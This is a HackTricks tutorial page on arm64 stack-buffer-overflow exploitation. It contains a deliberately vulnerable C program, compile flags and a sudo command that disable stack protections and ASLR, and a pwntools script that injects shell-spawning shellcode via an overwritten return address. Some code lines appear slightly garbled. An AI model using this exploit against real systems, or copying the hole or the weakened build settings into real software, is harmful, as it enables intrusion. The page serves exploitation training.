# Stack Shellcode - arm64
{% hint style="success" %}
Learn & practice AWS Hacking:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: 
[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %}
Find an introduction to arm64 in:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly" %}
[arm64-basic-assembly](https://angelica.gitbook.io/hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly)
{% endcontent-ref %}
## Code
```c
#include
#include
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
```
Compile without pie, canary and nx:
{% code overflow="wrap" %}
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
{% endcode %}
## No ASLR & No canary - Stack Overflow
To stop ASLR execute:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
To get the [**offset of the bof check this link**](https://angelica.gitbook.io/hacktricks/binary-exploitation/ret2win/ret2win-arm64#finding-the-offset).
Exploit:
```python
from pwn import *
# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)
# Generate shellcode
shellcode = asm(shellcraft.sh())
# Start the process
p = process(binary_name)
# Offset to return address
offset = 72
# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)
# Craft the payload
payload = b'A' * offset + ret_address + shellcode
print("Payload length: "+ str(len(payload)))
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
```
The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}